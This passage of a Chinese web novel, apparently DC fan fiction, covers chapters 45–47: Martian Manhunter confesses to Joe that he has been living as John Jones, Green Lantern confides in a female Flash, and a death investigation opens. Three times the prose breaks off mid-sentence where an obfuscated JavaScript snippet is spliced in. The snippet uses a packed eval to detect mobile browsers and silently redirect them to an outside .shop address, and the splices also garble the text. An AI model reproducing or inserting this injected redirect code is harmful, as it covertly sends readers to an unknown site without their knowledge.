“火星猎人竟然刻意去接近闪电侠,进入她的普通人生活中。”他的思维已经滑向最糟糕的方向,“他一定有什么阴谋。” “根据资料显示,约翰·琼斯和乔·韦斯特的确是大学同学。他们的关系很好,只是后来在不同的城市生活,才逐渐失去了联系。”阿尔弗雷德淡定地说。 布鲁斯的眼神变得犀利起来:“不是简单的失去了联系,而是真正的约翰去世了,继承他身份的火星猎人不打算回应乔的联络。” 阿尔弗雷德的态度依然轻描淡写:“火星猎人接替约翰的身份时,约翰已经毕业很久了。火星猎人根本不是乔认识的那个人,不想继续联系也很正常。” 布鲁斯沉思着:“那现在呢?他为什么会忽然联系乔?” “人总是在年纪增长之后怀念少年时光。”阿尔弗雷德说。 “以火星猎人的寿命来说,现在怀念是不是太早了?而且,他怀念的也不是自己的少年时光啊。”布鲁斯的语气中带了点嘲讽。 阿尔弗雷德问:“你打算提醒闪电侠吗?” “我应该先警告火星猎人。”布鲁斯说,“他知道闪电侠的身份,而对方却不知道他是火星猎人,这样的隐瞒可能对巴莉造成危害。” “咦,这个模式听起来有点耳熟。”阿尔弗雷德装模作样地说。 布鲁斯辩解道:“至少我告诉了闪电侠,我知道她是谁。在这一点上我没有隐瞒。” 45.第 45 章 阿尔弗雷德没有揪着这一点不放——他从来不吝于将自己的看法告诉布鲁斯,但也同样尊重布鲁斯的决定——他开始思考另一个问题,并轻声自语:“火星猎人难道不担心,在和乔见面的时候暴露出记忆的缺失吗?当然,他可以推说是年代久远的原因,但频繁使用这个理由的话,乔难免会感到奇怪。” 他顿了一下:“除非……他获得了约翰的全部记忆,这也就解释了他为什么能够如此完美地扮演约翰,一直没有被警局的同事发现异样。” “但火星猎人说过,他发现约翰的时候,约翰已经死了。也就是说,他能读取死人生前的记忆。”布鲁斯顺着阿尔弗雷德的分析说出令人悚然的结论。 “这个能力应该是有极限的。”阿尔弗雷德并没有表现出过多的忧虑,竟然还开了个小玩笑,“否则,我们应该建议火星猎人去读取木乃伊的记忆,考古学家一定会高兴极了。” 布鲁斯无奈地看了阿尔弗雷德一眼:“你们英国人总是忘不了埃及考古。” 他清楚阿福是故意那么说的,心里忍不住小小地抱怨一句:他对英国人有那么多刻板印象,完全是阿福的责任。在这件事上,阿福过于乐此不疲了——这表达了什么?阿福的思乡之情吗? 第二天,布鲁斯联系了火星猎人,后者很快便出现在韦恩庄园,完全不觉得自己如此召之即来有什么问题。 “发生了什么事?”火星猎人顺手拿起桌上的饼干吃起来。 布鲁斯为火星猎人倒了杯茶,然后意有所指地说:“你来得很快——考虑到你是从中心城过来的。” 火星猎人没有表现出任何被监视或定位的不悦,态度一如既往的温和:“对,有个案子。” 布鲁斯没有追问那个案子,像是不经意地说:“昨天,巴莉联系我,让我照应一位最近搬到哥谭的私家侦探。猜猜那位侦探的名字是什么?” “哦,一定是约翰·琼恩。”火星猎人怔了一下,然后笑了,“这听起来完全像是她会做的事。” “虽然闪电侠肯定能想到,她的真实身份在你面前无所遁形,但她绝对想不到的是,出现在自己生活里的、一个看起来非常平凡的人类男子会是火星猎人。”布鲁斯的声音冷下来,“你不因为欺骗她而感到愧疚吗?” “为什么?”火星猎人反问,脸上的困惑完全不是装出来的,“我并非有意欺骗她。我只是想完成约翰的愿望,而且,她的父亲乔也非常高兴。” 火星猎人的态度过于理所当然,像是在说自己做的是好人好事,这令布鲁斯更加不悦,几乎是质问道:“约翰的愿望,难道是昨天才出现的吗?你忽然去联系乔,难道不是因为闪电侠?” “当然不是。”火星猎人立刻否认,随后又补充道,“不过,这确实与她有些关系,更确切地说,与正义联盟有关。” 布鲁斯没有说话,沉默地盯着火星猎人,等待他做出更多解释。 火星猎人说:“过去的十几年里,虽然我一直生活在人群中,但更像是隔着一层屏障与他们来往。但现在,我不想再只是做一个旁观者了。所以我主动加入了正义联盟。” 他的声音里带上了一缕不属于他的怅然:“我在巴莉的脑海里看到了乔,这让我想起了约翰临终前的遗憾。他后悔和朋友渐行渐远,也后悔没有和女友好好谈谈,轻率地分了手。” 火星猎人的目光落在茶杯上:“关于那位女友,我无能为力。她已经结婚生子,过得很幸福,我不应该去打扰。但关于朋友,我想我或许还能做些什么。” 布鲁斯没有被这段解释打动,直接切入核心问题:“所以,你获得了约翰的全部记忆,即使在你遇见他的时候,他已经死了?” “因为那时他刚刚去世,我才能读取他的意识、记忆和情感,有些他自己甚至可能都记不清了。”火星猎人仍然有问必答,坦诚得让人忍不住去信任他,“但这项能力并非没有极限,我后来特意实验过,死亡时间越长,能读到的内容就越少。当死亡超过二十四小时,我就什么也感知不到了。” “这么说,在你还是刑事侦探的时候,这种能力对破解陈年悬案帮助不大。”布鲁斯惋惜地说。 话一出口,他意识到自己的思路被带偏了,又重回正题:“我相信乔确实很高兴,但你想过他为什么会有那样的感受吗?” 不等火星猎人回答,布鲁斯已经自顾自说出了答案:“因为,他真的认为你就是约翰。” 火星猎人微微皱眉,像是在面对一个复杂的哲学问题:“我拥有约翰的全部记忆,按照他的行为模式做事,对于乔来说,我就是约翰,他认识的那个人。” 布鲁斯看着火星猎人,就在这一刻,他感到自己的愤怒已经彻底消散了,取而代之的是无奈。他清晰地意识到,外星猎人可以完美地模拟出人类的“外在表现”,却仍然对人类的内心缺少某种更本质的理解。 “对人类来说,这是不一样的。就算是完美的替代品,也无法真的取代另一个人。”布鲁斯的声音低下去,“也许有些人会满足于一个完美的替代品,但我不认为乔是其中之一。” 尽管没有见过乔,但他见过巴莉。而一个人的选择、信念与坚持,总会在某种程度上映照出她成长的来源。 布鲁斯确定地说:“乔会想知道真相。” 他望着火星猎人,强调道:“如果你真的想不再只是一个旁观者,想要理解人类——这就是你需要学会的第一课。” 这一次,火星猎人没有立刻回答,他的表情严肃,像是在处理一段并不熟悉、也不符合自己逻辑的信息。“理解”对他来说从来不是难题,但“以人类的方式去理解”显然是另一回事。 “我明白了。”他终于说,“谢谢你,蝙蝠侠。” 巴莉在收到火星猎人发来的信息时,第一反应是又有外星人来侵略地球了。在确认不是急事之后,她与对方约好在自己下班后见面。 到了约定的地点时,巴莉环顾四周,却只见到了昨天刚认识的约翰叔叔。 电光火石间,巴莉的大脑已经飞快地做出了结论,但她对此感到很难相信,说话都有点磕巴了:“你……你是火星猎人?原来乔早就见过外星人了?” 火星猎人说:“不,昨天是他第一次见到我。乔认识的是原本的约翰。” 巴莉下意识地问:“那原来的约翰叔叔呢?” 火星猎人说:“多年前,他在一次徒步探险中去世了。” 巴莉立刻问:“你为什么要冒充约翰?” “那时我刚来到地球,需要一个人类身份,就用了约翰的。”火星猎人给出了一个朴实无华的理由,“之后就一直用下去了。” 巴莉盯着他看了几秒,又问:“你为什么忽然来见乔?” “因为那是约翰的愿望。”火星猎人说。 “好吧。”巴莉接受的速度很快,远比火星猎人期待的要快,“不过你应该告诉乔实话,他不会喜欢这样的。” 火星猎人叹了口气:“我现在也明白这一点了。” “是吗?你是怎么这么快想明白的?”巴莉有点意外,“显然你昨天还打定主意隐瞒到底。” “蝙蝠侠找我谈了谈。”火星猎人说。 “哦……哦!”巴莉立刻把前因后果串了起来,脸上的表情从惊讶变为尴尬,“我不是故意出卖你的,但我当时不知情。” “没关系,”火星猎人诚恳地说,“如果不是蝙蝠侠,我恐怕不会从这个角度去思考问题。希望现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331391|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在纠正我犯下的错误还不算晚。” “乔肯定会生气一阵子,不过我会帮你说好话的。”巴莉说着,看了看手机,“乔和伊德瑞斯都回家了,我们也回去吧。” 她看见约翰露出和他的稳重气质完全不相称的踟蹰表情,忍不住笑出声:“别担心,乔最后会原谅你的。毕竟,你带回了旧时光的余晖,给了他一场重逢。” 回到家后,巴莉一打开门就大声喊道:“乔,猜猜今天的客人是谁。” 乔在看清客人后明显一愣:“约翰,我以为你今天忙着工作。” “我有些事要告诉你。”约翰说。 巴莉动作利落地揪起伊德瑞斯的衣袖,拖着他走进卧室,然后把门关上。 “我们为什么要躲起来?”伊德瑞斯茫然地抱着笔记本电脑,在巴莉的手势示意下声音越来越低。 “给他们留出说话空间。”巴莉用气声说。 “那你为什么要把耳朵贴在门上?”伊德瑞斯看着巴莉的姿势,觉得十分好笑。 “因为我得观察乔的反应。”巴莉偷听得理直气壮,“嘘——我听不清了。” 伊德瑞斯依然一头雾水,但还是安静下来,和巴莉一起屏息听着客厅的动静。 在听到火星猎人的坦白后,伊德瑞斯的眼睛越睁越大,刚想开口,又赶紧闭上了嘴。 乔的声音中带着压抑的愤怒:“你的真名是什么?” 约翰说:“尚恩·琼兹。” 下一秒,乔的声音猛然爆发:“尚恩·琼兹!你为什么要这么做?” 巴莉被这突如其来的咆哮震了一下,但并不意外。她就知道,乔询问名字绝不是为了社交礼貌或重新认识对方——果不其然,他是为了在咆哮时更有气势。 约翰的声音低下去:“我当时以为这对所有人都是件好事——但现在我知道这个想法是错的。” 乔沉默了一会儿,然后问:“约翰……我是说,真正的约翰,他临终前痛苦吗?” 约翰轻声说:“事情发生得很快,他没受太多罪。” 乔压下一声哽咽:“你盗用了约翰的身份,但你没有损害他的名誉。我想,约翰如果知道这一切,他可能会为你鼓掌叫好。” “他的确是这样的人,把荣誉和道德看得高于一切。”约翰说,“他在乎工作、在乎每一个受害人,却把所有负面情绪都埋在心里,只能在徒步冒险里悄悄释放。” “我应该多和他联系的。”乔叹了口气,声音里带着懊悔。他又问:“你说你拥有约翰的全部记忆,那昨天你说的那些话,都是他会说的,对吗?” 约翰点头:“是的。” 过了好半天,乔才再次开口,声音疲惫又伤感:“无论如何,谢谢你给了我一个和他再次见面并正式告别的机会。愿他的灵魂安息。” 客厅又一次安静下来,巴莉轻轻转动门把手,从门缝里偷看外面。 “出来吃饭吧。”乔立刻发现了门缝中露出的两颗上下排列的脑袋。他又转向约翰:“你也一起吃吧……如果你真的需要人类食物的话。” “我并不需要,但很喜欢。”约翰说。 又一次,四个人坐在餐桌旁,但气氛和昨天完全不同。 “你是正义联盟的成员,那就算是巴莉的同事了?”乔问。 “算是吧。”约翰点头,“虽然我们出任务的频率不固定。” “这次的事,你欠我一次。”乔说,“如果遇到危险的话,替我照顾好巴莉。” “我欠你一次。”约翰没有反对这个说法,“我会照顾巴莉,但不是因为这个,而是因为我们是同伴。” 巴莉赶紧插话:“火星猎人对我一直都很好。危险的时候,我们会互相照应的。” 46.第 46 章 乔看了一眼巴莉,又看了一眼火星猎人,严肃的表情渐渐和缓下来。 “你真的不生气啦?”巴莉十分乖巧地去瞄乔,一副小心翼翼的样子,“我还以为你至少要生气三天呢。” “我是什么,河豚吗?”乔没好气地说。他知道巴莉是在装模作样,但这副样子实在可爱得太有迷惑性,让老父亲招架不住。刚才两个孩子在门缝那儿叠着偷看的样子,让他一瞬间仿佛回到了十几年前,一下班看到两个小家伙在那里搞怪。 “你是世界上最宽容的人。”巴莉甜言蜜语地说,“换成一般人,我会猜测他们至少要生气一个月。” 乔哼了一声:“尚恩都已经诚恳道歉了,而且他是个外星人,我还能怎么办?” “如果你不介意的话,私下里还是叫我约翰吧,我不希望因为任何细节而引起他人的怀疑。”约翰说,“我以后还打算继续用这个人类身份。” “好吧。”乔从善如流地改口,“约翰。” “天啊,你今天也太好说话了。外星人不通世事就可以获得你的绝对豁免权吗?”伊德瑞斯开玩笑地说,“这是新时代的歧视。” “至少第一次犯错可以。”乔说,“在这一点上,我对人类和外星人一视同仁。” “如果我一直没有对你坦白呢?”约翰问,“再过三十年,你才发现真相,并意识到和我相处的时间已经超过了和真正的约翰之间的,你会接受我,尚恩,作为你的朋友吗?” 虽然这个问题的内容听起来很欠揍,但约翰的态度太诚恳了,因此乔没有生气,而是认真地想了想才说:“这种假设性的问题我没法回答。也许我需要三十年的时间去消气,也就是说,在我原谅你之前,我大概已经死了。” “这个答案也太狡猾了吧。”巴莉抗议道。 “那你会怎么做?”伊德瑞斯问。 “我……我可能不需要三十年才能消气。”巴莉说完,意识到自己其实也是在狡猾地逃避问题,“好吧,这个问题真的很难。我不擅长这种哲学讨论,就像各种变形的电车问题一样。如果真的遇到了,我会在当下凭借直觉做决定。” “人类非常依赖直觉。”约翰若有所思。 “我觉得,直觉其实就是潜意识,”巴莉接过话头,“是在没有经过深思熟虑的情况下自然地浮现出来的想法。经过理性分析之后,它有时候会被推翻。” 约翰轻轻点头,总结道:“说到底,人类的标准,就是没有标准。” “因为情感会左右人的决定,”乔补充道,“人很难始终保持纯粹的理性。就像我每次在新闻里看到闪电侠去做那些危险的救援时,理性上我知道那些风险根本伤不到她,但情感上我还是忍不住担心。” 巴莉立刻挺起胸膛:“因为你还是没有习惯我的神速力的存在。再过三十年,无论我做什么事,你都会很放心的。” 乔笑了一下,没有反驳这只骄傲的小孔雀。但他自己心里明白,父母对子女的担心和牵挂是再过几个三十年也无法消除的。 “这太难了。”约翰仍在思考之前的对话,并小声抱怨,“当我模拟人类思维时,更像是在进行一种运算,不需要真正‘思考’,只要推演就够了。” 他微微皱起眉,纠结得就差拿一根铅笔在嘴里啃咬,像极了影视剧中那些为难题所困的角色。最后,他感慨道:“在无法彼此读心的前提下,人类现有的战争数量堪称少得不可思议。” “所以我对人类充满希望。”巴莉笑了起来,“我们可是很神奇的种族。” 约翰离开后,巴莉看了看时间,打算给蝙蝠侠留一条讯息。也许他正忙着做哥谭的黑夜传说,不会立刻看到,那也没关系。 巴莉写道:“约翰已经来找我们坦白身份了。他说多亏你的提醒。” 捏着通讯器,巴莉脑补起昨天蝙蝠侠在看到她消息时可能露出的表情——大概是错愕又恼火吧,然后便立刻找火星猎人,让后者知道自己的行为存在什么问题。 她随即又想起正义联盟第一次会议的情形。蝙蝠侠坚持只做顾问,一副不愿承担过多责任的样子,可实际情况却恰恰相反。他在默默地为所有的事情操心。 蝙蝠侠的回复忽然弹了出来,依旧言简意赅,简直让人怀疑他究竟有没有认真地读完信息。 但现在,巴莉已经很清楚了:蝙蝠侠不但会看,而且会以极快的速度做出判断与处理。 “如果他是正义联盟的大脑和中枢,那我是什么呢?”巴莉轻声自语,“难道我是腿吗?但超人也有超级速度啊。那超人和我分别是左腿和右腿?” 那个画面实在惊悚,她猛然意识到自己的思绪已经偏得太远,连忙停止了这个荒谬念头。 通讯器响了。巴莉以为蝙蝠侠又发了什么信息,却发现竟然是绿灯侠。 “有空一起喝一杯吗?”绿灯侠问。“我需要找个人聊聊。” 巴莉疑惑地回复:“我们穿着超级英雄的制服进酒吧?别忘了,我们在现实生活中并不认识,我暂时不打算改变这一点。” 绿灯侠飞快回复:“当然不是。我可以用戒指做出一个吧台。” 下一秒,绿灯侠直接拨打了语音通讯:“闪电侠,我的戒指不但能做出吧台,还能幻化出酒杯,甚至能模拟酒液——虽然喝了一点儿也不会醉,因为本质上就只是在喝空气,但……” 巴莉瞬间产生了一种接到促销电话的错觉。她被这一长串介绍说得头都大了,赶紧打断对方:“如果你只是想聊天,为什么我们不只是简单地找张长椅坐着?” “那样没有氛围感啊。”绿灯侠痛心疾首地说,就好像巴莉缺失了重要常识一样。“那样不像两个正常人交流,更像是流浪汉对话,或者特工接头。” “好吧。那为什么找我?”巴莉忍不住问了一句。 “你觉得正义联盟里,还有谁更合适?”绿灯侠理所当然地说。 “海王?”巴莉提议道,”他看起来酒量很好的样子。” “我是想找人倾诉,不是想看人扮酷。”绿灯侠立刻否决了。 巴莉在脑子里迅速过了一遍正义联盟的成员,发现自己好像真的是第一人选。 “对了,你来的时候,能顺便带点钱吗?”绿灯侠忽然语气一变,支支吾吾地说,“我想吃点真正的披萨,而不是空气披萨。我试过了,那玩意越吃越饿。” 看来披萨才是他的真正目的,巴莉心里这样想。但绿灯侠听起来实在太可怜,她在通讯器的另一头都要闻者落泪了。 她站起身,下一秒已经换上制服,和家人说了一声之后,朝着绿灯侠发的坐标出发了,并在路上打包了几盒披萨。 “你真是大救星。”绿灯侠几乎是狼吞虎咽地吃了两片披萨之后,才后知后觉地想起还没做场地布置,马上举起手。 绿光流动之间,一个吧台凭空成型——除了通体发着幽幽绿光之外,这个吧台和现实中的一模一样。 巴莉觉得很好玩,自动地站到吧台后面,假装自己是酒保:“这位客人,想喝点什么?” 绿灯侠一秒入戏,坐在高脚椅上,一脸深沉地点单:“马丁尼,用摇的,不要搅拌。” “好的,007先生。”巴莉转身,从身后的酒柜里取出材料开始调酒,动作十分自信,实则完全没有章法,更像是过家家——反正材料都是绿色的,最后调出来的东西也是绿色的,喝起来应该也都差不多吧。 “你怎么知道我是谁?”绿灯侠故意表现出大惊失色,“我已经这么有名了吗?” “因为我们这里平时没有通体绿色的人,即使今天是圣帕特里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336941|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克节也没有。”巴莉一本正经地说,“我们这里的人都只穿红色。” 她把“成品”推过去,又给自己调了一杯乱七八糟的东西,试探性地抿了一口—— 下一秒,她差点喷出来。 “味道模拟得这么真实吗?”巴莉震惊地看着杯子,“早知道我就认真一点了,虽然最后结果可能差别也不大。” “你以为呢?绿灯戒指就是这么厉害。”绿灯侠得意地举起酒杯,喝了一口—— 然后他真的喷了。 “你完全不会调酒!这是我喝过最恐怖的东西!”绿灯侠断言道。 “你以为呢?”这次轮到巴莉说这句话了。她顺手拿起一片披萨,咬了一口,然后催促道:“你不是要聊天吗?快开始吧。” “这杯酒已经摧毁了我的意志,我现在没有力气再去倾诉什么了。”绿灯侠一脸虚弱地趴在吧台上。 “那就继续吃披萨吧。”巴莉说,“吃饱了之后,烦恼的感觉就变得模糊了。” “那叫晕碳。”绿灯侠有气无力地反驳,“吃饱之后,什么感觉都变得模糊了。” 两人又安静地吃了一会儿。 夜色和绿光混在一起,让这个临时吧台显得有点不真实。 绿灯侠忽然开口:“明天我要离开地球了,得去扇区的其它地方巡查。” “放心吧,地球有我们在呢。”巴莉一挥手,气势如虹。“记得打听氪星将军的消息。” “我会的。”绿灯侠说。 他停顿了一下,看着对面的闪电侠:“你觉得……我现在是不是很难和地球上的人保持正常往来了?” 巴莉想了想,很诚实地说:“如果他们不知道你的工作,只看到你动不动就消失——彻底杳无音信那种,大概会以为你染上了毒瘾,或者其他什么堕落的爱好。” 绿灯侠苦笑了一下:“是啊。那种猜测再合理不过了。如果换成是我,也会这么想的。” 巴莉提议道:“如果你足够信任对方的话,不如坦白?你只是换了一份外星的工作,需要经常出差而已,又不是去外星做坏事去了。” 她又补充道:“否则,将来你可能会怪现在的自己,后悔当初那么轻率地错过一个人。我猜,让你烦恼的是一位女士?” “对,她是我以前的上司。”绿灯侠低声说。 “我最近恰好听到了一个故事,不完全一样,但和你的情况有点类似。那个人没有好好沟通,单方面地做了决定,干脆地结束了一段关系。”巴莉说。 “他后悔了吗?” “我想是的。” “然后呢?”绿灯侠又问。 “他没来得及弥补就去世了。”巴莉说。 环绕着吧台的绿光忽然闪了一下。 巴莉想着未曾谋面的那位约翰叔叔。他在临终前有那么多遗憾,但人生无法重来,有些选择一旦做出,就是定局。 绿灯侠没有再说话,沉默地吃完了剩下的披萨。 巴莉见绿灯侠陷入自己的思绪里,没有去打扰,自顾自地又调了几杯酒,这次拿出了做实验的态度。唯一的问题是,她依然没有遵从任何已知的调酒配方,完全是原创设计。 等绿灯侠回过神来时,吧台上已经整整齐齐地摆了好几杯鸡尾酒。 “尝尝?”巴莉热情地推荐,眼神中带着点不怀好意。 “你只是想让我做小白鼠。”绿灯侠有点悲愤地说,但还是拿起一杯,谨慎地喝了一口,“比之前的好一些。” 巴莉这才放心地拿起一杯,喝了一大口,然后瞪大了眼睛:“你这个骗子!” “哈哈哈。”绿灯侠大笑起来,“你还是先从那些经典的配方练起吧。” “看来调酒和做饭一样,最怕新手的灵机一动。”巴莉叹了口气。 47.第 47 章 天啊,这简直像是在玩模拟经营游戏。绿灯戒指的能力太有趣了,其拥有者可以天天沉浸式地玩过家家游戏——超级拟真版本的。 在用绿灯侠变出来的抹布擦拭同样是被变出来的吧台时,巴莉这样想。虽然它一点也不脏,她的行为毫无意义,但这不影响巴莉乐在其中。 绿灯侠坐在吧台对面,倾诉了很多心事,想到哪里说到哪里,因为过于跳跃而显得有点乱。巴莉安静地听着,时不时给一句回应。 但直到分别的时候,绿灯侠也没有说自己究竟会怎么做。 巴莉也没问。 “所以你打算怎么办?”——这句话是关心,也是一种催促。对还没理清自己想法的人来说,那种催促只会让本就纠缠的念头更加仓促地收拢,变成一个未必真正属于他的答案。 她是来做一个合格的树洞的,可以给一点意见,但不能催促或干涉别人的决定。 回家前,巴莉还是没忍住,把憋了一晚上的问题问了出来:“你不是说过,可以去找星城首富奎恩先生蹭吃蹭喝吗?怎么还会饿成这样?” “他可能在忙吧。”绿灯侠耸了耸肩,一副完全不放在心上的样子,“我这几天一直没在他常去的地方碰到他。说不定他正带着女伴在哪儿度假呢,或者是去挑战极限运动了。” “首富们的生活听起来真是相似啊。”巴莉感叹,“下次再饿肚子的时候,可以来找我。虽然请不起大餐,请你吃披萨总是没问题的。” “我不会白吃你的,给你带点外星的好玩东西当做纪念品。”绿灯侠保证道。 “一言为定。”巴莉朝绿灯侠挥挥手,跑出去几步又折返,像个海关工作人员一样叮嘱道:“别带活的动植物啊,万一引起物种入侵就不好了。” 绿灯侠被这个如此现实、但又完全超现实的提醒惊呆了,愣了几秒才说:“如果人类是哺乳动物的话,超人和火星猎人算动物吗?还有,有个星球的主要种族是树人,他们有很多植物的特性,能被获准进入地球吗?” “呃……好问题。”巴莉卡壳了,“也许排除掉智慧生物?” “智慧的标准是什么?”绿灯侠不是在抬杠,而是真的觉得这个问题非常值得仔细研究,“如果宇宙里某个外星种族的智商就只是猫或狗的程度呢?” “它长得像猫吗?如果一个生物看起来像猫,智商也是猫的水平,那也许我们就该称呼它是外星猫?”巴莉底气不足地说。 “感觉这种简单粗暴的定义会引起星际外交事故。”绿灯侠痛苦地捂住头,“我得想一想。” “我见过的外星人太少了,只有两个,而且你也都认识。抱歉啦,我只能提出问题,但完全给不出有建设性的意见。”巴莉坦诚地说。 “超人估计给不出什么建议,他是氪星遗孤,恐怕连对氪星的了解都很有限,更别说其它星球了。”绿灯侠用三十七度的嘴巴说出零度的话。“至于火星猎人,他看起来像是阿不思·邓布利多那种风格的。我觉得他的标准会宽泛得可怕,提议我们用爱感化一切,完全不必设防。” “你再说下去,我真怕你喷射的毒汁会把你自己毒死。”巴莉翻了个白眼。 “我干脆解决掉提出问题的人吧。”绿灯侠被批评了,索性破罐子破摔地斜睨巴莉。 见到后者威胁性地挥了挥拳头之后,他又立刻用双手捂住头,动作夸张至极地高喊:“我错了,我再想想。唉,一个聪明人提出的问题,十个更聪明的人也回答不上来。” 巴莉对这个戏精同伴已经无话可说,坚持继续头脑风暴:“也许可以借鉴一下别的星球的做法。问问你的同事吧,他们叫什么,也是绿灯侠吗?” “对,我们的组织被称为绿灯军团。”绿灯侠说。 “这种起名方式才是真正的简单粗暴。”巴莉说,“对了,为什么是绿灯军团,而不是绿灯戒指军团?” “因为戒指的能量来源是一盏绿色的提灯,需要定期从那里补充能量。”绿灯侠解释道。 “好神奇啊。”巴莉感叹,“我真羡慕你的经历。宇宙,人类最后的边疆。你已经踏入了前人未至之境!” 绿灯侠立刻听出巴莉引用的是《星际迷航》的经典台词——没有粉丝会不知道那段经典的开场白——他的眼睛一下子亮了:“虽然我没有一艘企业号星舰,但我不介意你叫我舰长。” “好的,舰长。”巴莉行了一个完全不正式的军礼,“提出问题的人准备回家了。之前讨论的标准,有了答案之后告诉我吧。” 绿灯侠无奈地点头:“好的。” 早上,巴莉照例被闹钟叫醒。她一边匆匆刷牙,一边查看手机信息。 未读信息不多,她最先点开彼得的。他发来了一个视频链接。 巴莉点开,看见两个年轻人各伸出一只手叠在一起,期待地看向坐在旁边的小狗,显然希望小狗伸出前爪压在最上面。但小狗歪着头思考了两秒,然后眼前一亮,矫健利落地抬起前腿跨了过去。接着,小狗维持着那个跨栏一样的姿势,满脸骄傲地看向主人,等待他们的夸奖。 屏幕里的两个人瞬间笑成一团。巴莉含着牙刷,也忍不住笑出声。 她回复彼得:“勇敢狗狗,不怕困难。” 彼得的回复几乎是立刻跳出来:“下次我们也试试。我认识一只很可爱的小狗。” 不会是那条被你抢过披萨的狗吧? 巴莉已经打出了这行字,但没发出去,因为彼得一定会气得连发一串流泪狗狗头的表情包。 上班的路上,巴莉看见一位老人走下街角,慢慢地在行人斑马线上移动。行人信号灯的标识已经从走路小人变成了数字倒计时,而这个路口又禁止高峰时段的红灯右转,一辆汽车因此急着在绿灯没消失前拐弯,不但没有减速,方向还微微偏了些,眼看就要将那位老人刮倒。 下一秒,闪电侠出现在老人身边,轻轻扶住对方,将人送到马路对面。一切发生得太快,老人有些茫然地站在人行道上,片刻后才反应过来,对着空气挥手致谢。 但闪电侠已经离开了,她忙着去做另一件事:在那辆车的挡风玻璃上夹一张纸条。那是她提前准备好的,总是随身携带,上面用Times New Roman字体整齐地印着: “请礼让行人,小心驾驶。 ——来自闪电侠的严肃提醒。” 之后,巴莉又在路上停下了一次。 她看到一只柴犬站在车流中间,显然意识到情况不对,但又不知道该往哪里走,只能僵在原地,耳朵微微向后压着,尾巴都不太敢摇晃了。 看着柴犬脸上活灵活现的困惑,巴莉叹了口气,猜测它一定是从家里偷跑出来,然后找不到回去的路了。 这不是偏见,纯粹是她的经验之谈。在迷路这件事上,柴犬实在过于天赋异禀,偏偏它们又没有自知之明,总是抓住各种机会从家里跑出去。 巴莉将柴犬抱起来,查看它脖子上铭牌的地址——松树街123号——然后将它送回了家。刚到达房子的前门,巴莉就听见屋里的声音。一个年轻女子正在焦急地打电话求援,动员所有亲朋好友帮忙找狗。 虽然知道怀里的柴犬听不懂,巴莉还是低下头,认真地对它说:“你看你的主人多担心呀。不许再偷偷跑出来了,你这个调皮鬼。要不是你的主人给你戴了铭牌,你以后就要成为流浪狗了。” 柴犬被按着,不得不听完这段训话,但脸上露出的表情明显是不服气,像是在说“你什么档次,也敢教训我”。 巴莉不以为意地笑了一声。她知道柴犬就是这种在陌生环境里怂得要命、但一靠近主人就变得嚣张的性格。 她松开手,看着柴犬立刻头也不回地跑到门口,大声宣布自己已经如闪电般归来(巴莉的狗狗语翻译版)。它的主人又惊又喜地打开门,紧紧地抱住失而复得的狗。 终于走进实验室时,巴莉听见两名同事正在讨论昨晚的橄榄球比赛。中心城对战基斯顿城,十比七,中心城险胜。 她刚听了几句,就被喊去出外勤了。巴莉拎起自己的工作包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358639|194580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迅速前往市中心的CBD区域。 作为可能的犯罪现场,那座办公楼十五层的一角已经被黄色隔离带围了起来。巴莉刚出电梯,就遇见了乔和埃迪。 “死者是中年男性,早上进办公室时还好好的,忽然就倒下了。”埃迪快递地介绍已知信息,“他的同事立刻打了911,但急救人员到达时,人已经去世了。” “没有明显外伤,像是猝死。”乔补充道,“需要尸检。” 巴莉点点头,环顾死者的桌子——电脑、文件堆、个人物品——她的视线很快落在最可疑的物品上:一个带吸管的杯子。 她戴上手套,轻轻打开杯盖,里面残留着一些深色液体,看起来像是咖啡。 接着,巴莉按照流程完整地查验了现场。离开前,她问乔和埃迪:“接下来你们会去死者的家里调查,对吧?” “据说他出轨被妻子发现了,刚刚分居,搬到了一间公寓独居。我们会去找妻子谈谈。”乔压低声音。他们刚刚和几个在场的人聊过,获得了不少信息。 “但他还摆着全家的照片,一副家庭美满的样子。”巴莉随手指了指桌子,“我会先化验分析杯子里的东西,希望很快能有结果。如果你们在他家里发现了其它线索,随时联系我。” “因为他还以为同事都不知道呢。但实际上,八卦传播的速度比闪电侠还快。”埃迪小声说。 “什……什么?”巴莉的声音卡住了。 “这是现在中心城常用的比喻。你不知道吗?”埃迪疑惑地看着巴莉。 “哦……”巴莉真的不知道自己成为了流行语的一部分,“你现在比我更像一个中心城人了,埃迪。” 回到实验室后,巴莉立即开始处理样本。她将杯子里的液体分装、标记,并进行初步化验。一次又一次尝试后,结果都是一样的:液体看起来就是普通咖啡,没有任何异常。 